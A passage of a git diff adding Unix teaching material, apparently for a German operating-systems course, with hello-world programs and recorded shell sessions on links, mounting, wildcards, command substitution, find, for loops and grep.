+lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/hardlinks-2.txt b/20210416/hardlinks-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..4234e50e40d8e70d7c4b066619772ee03a030601
--- /dev/null
+++ b/20210416/hardlinks-2.txt
@@ -0,0 +1,10 @@
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
+-rw-r--r-- 2 peter peter  7 Apr 16 14:47 test-1.txt
+-rw-r--r-- 2 peter peter  7 Apr 16 14:47 test-2.txt
+lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416>
+cassini/home/peter/bo/2021ss/bs/20210416> rm test-2.txt
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
+-rw-r--r-- 1 peter peter  7 Apr 16 14:47 test-1.txt
+lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/hello b/20210416/hello
new file mode 100755
index 0000000000000000000000000000000000000000..9f3f770bfcccad3d62d2e2d08b077469ef3722fa
--- /dev/null
+++ b/20210416/hello
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+echo "Hello, world!"
diff --git a/20210416/hello.c b/20210416/hello.c
new file mode 100644
index 0000000000000000000000000000000000000000..b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac
--- /dev/null
+++ b/20210416/hello.c
@@ -0,0 +1,7 @@
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("Hello, world!\n");
+  return 0;
+}
diff --git a/20210416/mount-1.txt b/20210416/mount-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..07569eed45c93309e18b24047b6ede82cc6e572d
--- /dev/null
+++ b/20210416/mount-1.txt
@@ -0,0 +1,21 @@
+cassini/home/peter/bo/2021ss/bs/20210416> ls -lh ~/Www/Was\ läuft\ falsch\ in\ der\ gegenwärtigen\ Physik-99hVAu1k6G8.mp4
+-rw-r--r-- 1 peter peter 155M Mai 20  2019 '/home/peter/Www/Was läuft falsch in der gegenwärtigen Physik-99hVAu1k6G8.mp4'
+cassini/home/peter/bo/2021ss/bs/20210416> cp -pi ~/Www/Was\ läuft\ falsch\ in\ der\ gegenwärtigen\ Physik-99hVAu1k6G8.mp4 /media/usb
+usb/  usb0/ usb1/ usb2/ usb3/ usb4/ usb5/ usb6/ usb7/
+cassini/home/peter/bo/2021ss/bs/20210416> cp -pi ~/Www/Was\ läuft\ falsch\ in\ der\ gegenwärtigen\ Physik-99hVAu1k6G8.mp4 /media/usb
+usb/  usb0/ usb1/ usb2/ usb3/ usb4/ usb5/ usb6/ usb7/
+cassini/home/peter/bo/2021ss/bs/20210416> cp -pi ~/Www/Was\ läuft\ falsch\ in\ der\ gegenwärtigen\ Physik-99hVAu1k6G8.mp4 /media/usb3/
+cassini/home/peter/bo/2021ss/bs/20210416> mount | grep usb
+cassini/home/peter/bo/2021ss/bs/20210416> mount /media/usb3/
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l /media/usb3/
+insgesamt 4
+-rwxr-xr-x 1 peter peter 40 Dez  3 10:52  nm.txt
+-rwxr-xr-x 1 peter peter  0 Apr 16 12:52 'Was läuft falsch in der gegenwärtigen Physik-99hVAu1k6G8.mp4'
+cassini/home/peter/bo/2021ss/bs/20210416> cp -pi ~/Www/Was\ läuft\ falsch\ in\ der\ gegenwärtigen\ Physik-99hVAu1k6G8.mp4 /media/usb3/
+cp: '/media/usb3/Was läuft falsch in der gegenwärtigen Physik-99hVAu1k6G8.mp4' überschreiben? y
+cassini/home/peter/bo/2021ss/bs/20210416> umount /media/usb3
+cassini/home/peter/bo/2021ss/bs/20210416> mount /media/usb3
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l /media/usb3/                                   insgesamt 158284
+-rwxr-xr-x 1 peter peter        40 Dez  3 10:52  nm.txt
+-rwxr-xr-x 1 peter peter 162077261 Mai 20  2019 'Was läuft falsch in der gegenwärtigen Physik-99hVAu1k6G8.mp4'
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/shell-scripts-1.txt b/20210416/shell-scripts-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..b979d46e4f71249407571cfb7ab41266ace543cf
--- /dev/null
+++ b/20210416/shell-scripts-1.txt
@@ -0,0 +1,4 @@
+cassini/home/peter/bo/2021ss/bs/20210416> cat cd..
+cd ..
+cassini/home/peter/bo/2021ss/bs/20210416> cd..
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/shell-scripts-2.txt b/20210416/shell-scripts-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e936daff4c8aa6b6a7b92fea5e799934775a384e
--- /dev/null
+++ b/20210416/shell-scripts-2.txt
@@ -0,0 +1,8 @@
+cassini/home/peter/bo/2021ss/bs/20210416> cat cd..
+pwd
+cd ..
+pwd
+cassini/home/peter/bo/2021ss/bs/20210416> cd..
+/home/peter/bo/2021ss/bs/20210416
+/home/peter/bo/2021ss/bs
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/shell-scripts-3.txt b/20210416/shell-scripts-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..64dede0649d842d112ae1906ad37922195a1e7e2
--- /dev/null
+++ b/20210416/shell-scripts-3.txt
@@ -0,0 +1,8 @@
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l hello
+-rw-r--r-- 1 peter peter 21 Apr 16 14:24 hello
+cassini/home/peter/bo/2021ss/bs/20210416> cat hello
+echo "Hello, world!"
+cassini/home/peter/bo/2021ss/bs/20210416> chmod 755 hello
+cassini/home/peter/bo/2021ss/bs/20210416> ./hello
+Hello, world!
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/shell-scripts-4.txt b/20210416/shell-scripts-4.txt
new file mode 100644
index 0000000000000000000000000000000000000000..25ea052a0d5a80be46b4f74add0e124405818bd7
--- /dev/null
+++ b/20210416/shell-scripts-4.txt
@@ -0,0 +1,7 @@
+cassini/home/peter/bo/2021ss/bs/20210416> cat hello
+#!/bin/bash
+
+echo "Hello, world!"
+cassini/home/peter/bo/2021ss/bs/20210416> ./hello
+Hello, world!
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/shell-scripts-5.txt b/20210416/shell-scripts-5.txt
new file mode 100644
index 0000000000000000000000000000000000000000..aa400eecbf5755993f45ce1dd6fd2ff2f7ea189a
--- /dev/null
+++ b/20210416/shell-scripts-5.txt
@@ -0,0 +1,14 @@
+cassini/home/peter/bo/2021ss/bs/20210416> cat calculate
+#!/usr/bin/bc
+
+2 ^ 50 / 10 / 1000 / 1000 / 1000000
+cassini/home/peter/bo/2021ss/bs/20210416> ./calculate
+bc 1.07.1
+Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006, 2008, 2012-2017 Free Software Foundation, Inc.
+This is free software with ABSOLUTELY NO WARRANTY.
+For details type `warranty'.
+112
+^C
+(interrupt) use quit to exit.
+quit
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/shell-scripts-6.txt b/20210416/shell-scripts-6.txt
new file mode 100644
index 0000000000000000000000000000000000000000..21e310e492618b7214d4250c021ff09d0912f5c1
--- /dev/null
+++ b/20210416/shell-scripts-6.txt
@@ -0,0 +1,9 @@
+cassini/home/peter/bo/2021ss/bs/20210416> cat calculate
+#!/usr/bin/bc -q
+
+2 ^ 50 / 10 / 1000 / 1000 / 1000000
+
+quit
+cassini/home/peter/bo/2021ss/bs/20210416> ./calculate
+112
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/symlinks-1.txt b/20210416/symlinks-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..082d37fa47a06228a3255eeaa972542ac7451342
--- /dev/null
+++ b/20210416/symlinks-1.txt
@@ -0,0 +1,12 @@
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
+-rw-r--r-- 1 peter peter  7 Apr 16 12:30 test-1.txt
+-rw-r--r-- 1 peter peter  7 Apr 16 12:30 test-2.txt
+lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
+Test 1
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-3.txt
+Test 1
+cassini/home/peter/bo/2021ss/bs/20210416> rm test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-3.txt
+cat: test-3.txt: Datei oder Verzeichnis nicht gefunden
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/symlinks-2.txt b/20210416/symlinks-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..242cce4d34d87cad7cc23266bfc2d0117cedab63
--- /dev/null
+++ b/20210416/symlinks-2.txt
@@ -0,0 +1,7 @@
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
+-rw-r--r-- 1 peter peter  7 Apr 16 14:39 test-1.txt
+-rw-r--r-- 1 peter peter  7 Apr 16 12:30 test-2.txt
+lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
+Test 3
+cassini/home/peter/bo/2021ss/bs/20210416> ln -s test-1.txt test-3.txt
diff --git a/20210416/symlinks-3.txt b/20210416/symlinks-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..ed65d60c82beacea126d25a2758bdaea38209808
--- /dev/null
+++ b/20210416/symlinks-3.txt
@@ -0,0 +1,9 @@
+cassini/home/peter/bo/2021ss/bs/20210416> rm test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416> ln -s test-3.txt test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
+lrwxrwxrwx 1 peter peter 10 Apr 16 14:42 test-1.txt -> test-3.txt
+-rw-r--r-- 1 peter peter  7 Apr 16 12:30 test-2.txt
+lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
+cat: test-1.txt: Zu viele Ebenen aus symbolischen Links
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/symlinks-4.txt b/20210416/symlinks-4.txt
new file mode 100644
index 0000000000000000000000000000000000000000..74f32b7209380d08764304ca550414aca15a07db
--- /dev/null
+++ b/20210416/symlinks-4.txt
@@ -0,0 +1,12 @@
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
+lrwxrwxrwx 1 peter peter 10 Apr 16 14:42 test-1.txt -> test-3.txt
+-rw-r--r-- 1 peter peter  7 Apr 16 12:30 test-2.txt
+lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
+cat: test-1.txt: Zu viele Ebenen aus symbolischen Links
+cassini/home/peter/bo/2021ss/bs/20210416>
+cassini/home/peter/bo/2021ss/bs/20210416> rm test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
+-rw-r--r-- 1 peter peter  7 Apr 16 12:30 test-2.txt
+lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/test-1.txt b/20210416/test-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..ac5ab8fbdb5f9b410cba904145f975593182dced
--- /dev/null
+++ b/20210416/test-1.txt
@@ -0,0 +1 @@
+Test 1
diff --git a/20210416/test-3.txt b/20210416/test-3.txt
new file mode 120000
index 0000000000000000000000000000000000000000..e512c20fae491086c36ada7e2b276df83e32b1bd
--- /dev/null
+++ b/20210416/test-3.txt
@@ -0,0 +1 @@
+test-1.txt
\ No newline at end of file
diff --git a/20210416/test/hello.txt b/20210416/test/hello.txt
new file mode 100644
index 0000000000000000000000000000000000000000..af5626b4a114abcb82d63db7c8082c3c4756e51b
--- /dev/null
+++ b/20210416/test/hello.txt
@@ -0,0 +1 @@
+Hello, world!
diff --git a/20210416/unix-20210416.pdf b/20210416/unix-20210416.pdf
new file mode 120000
index 0000000000000000000000000000000000000000..5088e123b7cf3a13f3e818d8be9c5b5c70f0b056
--- /dev/null
+++ b/20210416/unix-20210416.pdf
@@ -0,0 +1 @@
+../20210409/unix-20210409.pdf
\ No newline at end of file
diff --git a/20210416/unix-20210416.tex b/20210416/unix-20210416.tex
new file mode 120000
index 0000000000000000000000000000000000000000..8548cff5b6f4928e1bacf91d66f0f6d1ed4966da
--- /dev/null
+++ b/20210416/unix-20210416.tex
@@ -0,0 +1 @@
+../20210409/unix-20210409.tex
\ No newline at end of file
diff --git a/20210416/wildcards-1.txt b/20210416/wildcards-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..8061b6b72fc36090136db19921dee2154b9a350a
--- /dev/null
+++ b/20210416/wildcards-1.txt
@@ -0,0 +1,36 @@
+cassini/home/peter/bo/2021ss/bs/20210416> echo "Test 1" > test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416> echo "Test 2" > test-2.txt
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
+Test 1
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-2.txt
+Test 2
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l
+insgesamt 16
+lrwxrwxrwx 1 peter peter   27 Apr 16 10:27 bs-20210416.pdf -> ../20210409/bs-20210409.pdf
+-rw-r--r-- 1 peter peter    0 Apr 16 11:53 cd..
+-rw-r--r-- 1 peter peter   82 Apr 16 12:20 hello.c
+drwxr-xr-x 2 peter peter 4096 Apr 16 12:25 test
+-rw-r--r-- 1 peter peter    7 Apr 16 12:26 test-1.txt
+-rw-r--r-- 1 peter peter    7 Apr 16 12:26 test-2.txt
+lrwxrwxrwx 1 peter peter   29 Apr 16 10:19 unix-20210416.pdf -> ../20210409/unix-20210409.pdf
+lrwxrwxrwx 1 peter peter   29 Apr 16 12:06 unix-20210416.tex -> ../20210409/unix-20210409.tex
+cassini/home/peter/bo/2021ss/bs/20210416> cd test
+cassini/home/peter/bo/2021ss/bs/20210416/test> cp -p ../test*.txt
+cassini/home/peter/bo/2021ss/bs/20210416/test> ls -l
+insgesamt 0
+cassini/home/peter/bo/2021ss/bs/20210416/test> cd ..
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l
+insgesamt 16
+lrwxrwxrwx 1 peter peter   27 Apr 16 10:27 bs-20210416.pdf -> ../20210409/bs-20210409.pdf
+-rw-r--r-- 1 peter peter    0 Apr 16 11:53 cd..
+-rw-r--r-- 1 peter peter   82 Apr 16 12:20 hello.c
+drwxr-xr-x 2 peter peter 4096 Apr 16 12:25 test
+-rw-r--r-- 1 peter peter    7 Apr 16 12:26 test-1.txt
+-rw-r--r-- 1 peter peter    7 Apr 16 12:26 test-2.txt
+lrwxrwxrwx 1 peter peter   29 Apr 16 10:19 unix-20210416.pdf -> ../20210409/unix-20210409.pdf
+lrwxrwxrwx 1 peter peter   29 Apr 16 12:06 unix-20210416.tex -> ../20210409/unix-20210409.tex
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
+Test 1
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-2.txt
+Test 1
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/wildcards-2.txt b/20210416/wildcards-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..fd44a83a02fa5e15b2f724db7d140033573849b7
--- /dev/null
+++ b/20210416/wildcards-2.txt
@@ -0,0 +1,3 @@
+cassini/home/peter/bo/2021ss/bs/20210416/test> echo cp -p ../test*.txt
+cp -p ../test-1.txt ../test-2.txt
+cassini/home/peter/bo/2021ss/bs/20210416/test>
diff --git a/20210416/wildcards-3.txt b/20210416/wildcards-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..7abffc8939b9354ca8079e8249a3e3fbb5a9d30e
--- /dev/null
+++ b/20210416/wildcards-3.txt
@@ -0,0 +1,14 @@
+cassini/home/peter/bo/2021ss/bs/20210416> for x in 1 2 3; do echo "Test $x" > test-$x.txt; donecassini/home/peter/bo/2021ss/bs/20210416> ls -l test*.txt
+-rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-1.txt
+-rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-2.txt
+-rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-3.txt
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
+Test 1
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-2.txt
+Test 2
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-3.txt
+Test 3
+cassini/home/peter/bo/2021ss/bs/20210416> cd test/
+cassini/home/peter/bo/2021ss/bs/20210416/test> cp -p ../test*.txt
+cp: das angegebene Ziel '../test-3.txt' ist kein Verzeichnis
+cassini/home/peter/bo/2021ss/bs/20210416/test>
diff --git a/20210423/echo-1.txt b/20210423/echo-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e39b07beb181a870f7683da662d54ac3fd45bdc3
--- /dev/null
+++ b/20210423/echo-1.txt
@@ -0,0 +1,4 @@
+cassini/home/peter/bo/2021ss/bs/20210423> echo Test; ls
+Test
+test  test-2.c  unix-20210423.pdf  unix-20210423.tex  wildcards-1.txt  wildcards-2.txt
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/echo-2.txt b/20210423/echo-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e20f9bccbce32e74e0dbb3f5caa87cf0874d5c6b
--- /dev/null
+++ b/20210423/echo-2.txt
@@ -0,0 +1,3 @@
+cassini/home/peter/bo/2021ss/bs/20210423> echo "Test; ls"
+Test; ls
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/exec-output-1.txt b/20210423/exec-output-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..6bfef64301ada2552a032410405fc95828e9e8d2
--- /dev/null
+++ b/20210423/exec-output-1.txt
@@ -0,0 +1,12 @@
+cassini/home/peter/bo/2021ss/bs/20210423> echo ls
+ls
+cassini/home/peter/bo/2021ss/bs/20210423> $(echo ls)
+echo-1.txt  grep-2.txt                 iostreams-2.txt  permissions-1.txt  test.txt
+echo-2.txt  grep-3.txt                 iostreams-3.txt  pipes-1.txt        unix-20210423.pdf
+find-1.txt  grep-4.txt                 iostreams-4.txt  pipes-2.txt        unix-20210423.tex
+find-2.txt  grep-5.txt                 iostreams-5.txt  pipes-3.txt        vic
+find-3.txt  hello-error.txt            iostreams-6.txt  test               wildcards-1.txt
+find-4.txt  hello-files-and-error.txt  iostreams-7.txt  test-1.c           wildcards-2.txt
+find-5.txt  hello-files.txt            iostreams-8.txt  test-2.c           wildcards-3.txt
+grep-1.txt  iostreams-1.txt            iostreams-.txt2  test.bc            xkcd
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/exec-output-2.txt b/20210423/exec-output-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..8da1d6318741453f610d9c55640af13948673dff
--- /dev/null
+++ b/20210423/exec-output-2.txt
@@ -0,0 +1,11 @@
+cassini/home/peter/bo/2021ss/bs/20210423> locate listings.pdf
+/home/peter/bo/doc/listings.pdf
+/usr/share/doc/texlive-doc/latex/checklistings/checklistings.pdf
+/usr/share/doc/texlive-doc/latex/iodhbwm/examples/listings/iodhbwm-listings.pdf
+/usr/share/doc/texlive-doc/latex/listings/listings.pdf
+/usr/share/doc/texlive-doc/latex/tagpdf/ex-spaceglyph-listings.pdf
+/usr/share/doc/texlive-doc/latex/xsim/examples/xsim.listings.pdf
+cassini/home/peter/bo/2021ss/bs/20210423> locate listings.pdf | head -1
+/home/peter/bo/doc/listings.pdf
+cassini/home/peter/bo/2021ss/bs/20210423> xpdf $(locate listings.pdf | head -1)
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/exec-output-3.txt b/20210423/exec-output-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..3e8cf4e13e86960215f0b93c0cea0faa0390741c
--- /dev/null
+++ b/20210423/exec-output-3.txt
@@ -0,0 +1,4 @@
+cassini/home/peter/bo/2021ss/bs/20210423> file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1)
+cassini/home/peter/bo/2021ss/bs/20210423> echo $file_template
+params-3.sh
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/find-1.txt b/20210423/find-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..51a80ae973e07b4283cb2ca38861b2dad13b930c
--- /dev/null
+++ b/20210423/find-1.txt
@@ -0,0 +1,15 @@
+cassini/home/peter/bo/2021ss/bs> find -name "test*"
+./20210423/test-1.c
+./20210423/test-2.c
+./20210423/test
+./20210416/test-3.txt
+./20210416/test
+./20210416/test-1.txt
+cassini/home/peter/bo/2021ss/bs> find . -name "test*" -print
+./20210423/test-1.c
+./20210423/test-2.c
+./20210423/test
+./20210416/test-3.txt
+./20210416/test
+./20210416/test-1.txt
+cassini/home/peter/bo/2021ss/bs>
diff --git a/20210423/find-2.txt b/20210423/find-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..2d9eaa12bc77f960e7f81e0777b947349d052148
--- /dev/null
+++ b/20210423/find-2.txt
@@ -0,0 +1,6 @@
+cassini/home/peter/bo/2021ss/bs> find . -name "test-[1-2].txt" -print
+./20210416/test-1.txt
+cassini/home/peter/bo/2021ss/bs> find . -name "test-[1-2].[ch]" -print
+./20210423/test-1.c
+./20210423/test-2.c
+cassini/home/peter/bo/2021ss/bs>
diff --git a/20210423/find-3.txt b/20210423/find-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..0e1f55793dd6e353ecb653529b1d5918f87124a0
--- /dev/null
+++ b/20210423/find-3.txt
@@ -0,0 +1,17 @@
+cassini/home/peter/bo/2021ss/bs> find . -name "test-[1-2].[ch]" -exec ls -l {} \;
+-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-1.c
+-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-2.c
+cassini/home/peter/bo/2021ss/bs> find . -name "test-[1-2].[ch]" -exec ls -l {} +
+-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-1.c
+-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-2.c
+cassini/home/peter/bo/2021ss/bs> find . -name "test-*" -exec ls -l {} \;
+-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-1.c
+-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-2.c
+lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 ./20210416/test-3.txt -> test-1.txt
+-rw-r--r-- 1 peter peter 7 Apr 16 14:47 ./20210416/test-1.txt
+cassini/home/peter/bo/2021ss/bs> find . -name "test-*" -exec ls -l {} +
+-rw-r--r-- 1 peter peter  7 Apr 16 14:47 ./20210416/test-1.txt
+lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 ./20210416/test-3.txt -> test-1.txt
+-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-1.c
+-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-2.c
+cassini/home/peter/bo/2021ss/bs>
diff --git a/20210423/find-4.txt b/20210423/find-4.txt
new file mode 100644
index 0000000000000000000000000000000000000000..07def8f1d358691756227aa407c8708828b623f4
--- /dev/null
+++ b/20210423/find-4.txt
@@ -0,0 +1,38 @@
+cassini/home/peter/bo/2021ss/bs/20210423> find . -type f
+./test-1.c
+./wildcards-1.txt
+./test-2.c
+./echo-2.txt
+./.test.txt
+./wildcards-2.txt
+./permissions-1.txt
+./echo-1.txt
+cassini/home/peter/bo/2021ss/bs/20210423> find . -type d
+.
+./test
+cassini/home/peter/bo/2021ss/bs/20210423> find .. -type d
+..
+../common
+../20210423
+../20210423/test
+../20210416
+../20210416/test
+../ausarbeitungen
+../ausarbeitungen/maas
+../20210409
+cassini/home/peter/bo/2021ss/bs/20210423> find .. -type l
+../20210423/unix-20210423.pdf
+../20210423/unix-20210423.tex
+../20210416/test-3.txt
+../20210416/unix-20210416.tex
+../20210416/bs-20210416.tex
+../20210416/bs-20210416.pdf
+../20210416/unix-20210416.pdf
+../20210409/logo-hochschule-bochum-cvh-text.pdf
+../20210409/pgslides.sty
+../20210409/Operating_system_placement-de.pdf
+../20210409/logo-hochschule-bochum.pdf
+../20210409/pathfinder.jpg
+../20210409/philosophenproblem.jpg
+../.git
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/find-5.txt b/20210423/find-5.txt
new file mode 100644
index 0000000000000000000000000000000000000000..8baf885795b845da6f19f3cacd5aae66c5f14172
--- /dev/null
+++ b/20210423/find-5.txt
@@ -0,0 +1,22 @@
+cassini/home/peter/bo/2021ss/bs/20210423> find .. -name "find-*.txt"
+../20210423/find-1.txt
+../20210416/find-1.txt
+../20210416/find-4.txt
+../20210416/find-2.txt
+../20210416/find-3.txt
+../find-1.txt
+../find-2.txt
+../find-3.txt
+cassini/home/peter/bo/2021ss/bs/20210423> cd ..
+cassini/home/peter/bo/2021ss/bs> t
+insgesamt 36
+drwxr-xr-x 3 peter peter 4096 Apr  9 15:18 ausarbeitungen
+drwxr-xr-x 2 peter peter 4096 Apr 16 10:26 20210409
+-rw-r--r-- 1 peter peter 1329 Apr 16 11:50 projekte.txt
+drwxr-xr-x 2 peter peter 4096 Apr 16 14:45 common
+drwxr-xr-x 3 peter peter 4096 Apr 23 11:06 20210416
+-rw-r--r-- 1 peter peter  378 Apr 23 12:00 find-1.txt
+-rw-r--r-- 1 peter peter  236 Apr 23 12:01 find-2.txt
+-rw-r--r-- 1 peter peter 1108 Apr 23 12:04 find-3.txt
+drwxr-xr-x 3 peter peter 4096 Apr 23 12:13 20210423
+cassini/home/peter/bo/2021ss/bs>
diff --git a/20210423/for-1.txt b/20210423/for-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..f6e41af6c90d4bf75e250fc75dd4d0a69079de1a
--- /dev/null
+++ b/20210423/for-1.txt
@@ -0,0 +1,21 @@
+cassini/home/peter/bo/2021ss/bs/20210423> for x in wichtig Wichtig WICHTIG; do touch $x; done
+cassini/home/peter/bo/2021ss/bs/20210423> for x in wichtig Wichtig WICHTIG; do rm $x; done
+cassini/home/peter/bo/2021ss/bs/20210423> seq 7
+1
+2
+3
+4
+5
+6
+7
+cassini/home/peter/bo/2021ss/bs/20210423> for x in $(seq 7); do touch wichtig-$x.txt; done
+cassini/home/peter/bo/2021ss/bs/20210423> ls -l wichtig*
+-rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-1.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-2.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-3.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-4.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-5.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-6.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-7.txt
+cassini/home/peter/bo/2021ss/bs/20210423> for x in $(seq 7); do rm wichtig-$x.txt; done
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/for-2.txt b/20210423/for-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..fae0292bc4037a527da95d445713b5d6aa4cac3d
--- /dev/null
+++ b/20210423/for-2.txt
@@ -0,0 +1,18 @@
+cassini/home/peter/bo/2021ss/bs/20210423> for x in $(seq 7); do touch wichtig-$x.txt; done
+cassini/home/peter/bo/2021ss/bs/20210423> ls -l wichtig*
+-rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-1.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-2.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-3.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-4.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-5.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-6.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-7.txt
+cassini/home/peter/bo/2021ss/bs/20210423> for x in wichtig-*.txt; do mv -i "$x" "un$x"; done   cassini/home/peter/bo/2021ss/bs/20210423> ls -l *wichtig*
+-rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-1.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-2.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-3.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-4.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-5.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-6.txt
+-rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-7.txt
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/grep-1.txt b/20210423/grep-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..c4c92d1f6c8daebb56b21875765792fd91adf251
--- /dev/null
+++ b/20210423/grep-1.txt
@@ -0,0 +1,22 @@
+cassini/home/peter/bo/2021ss/bs/20210423> grep Hello *
+grep: test: Ist ein Verzeichnis
+test-1.c:  printf ("Hello, world!\n");
+test-2.c:  printf ("Hello, world!\n");
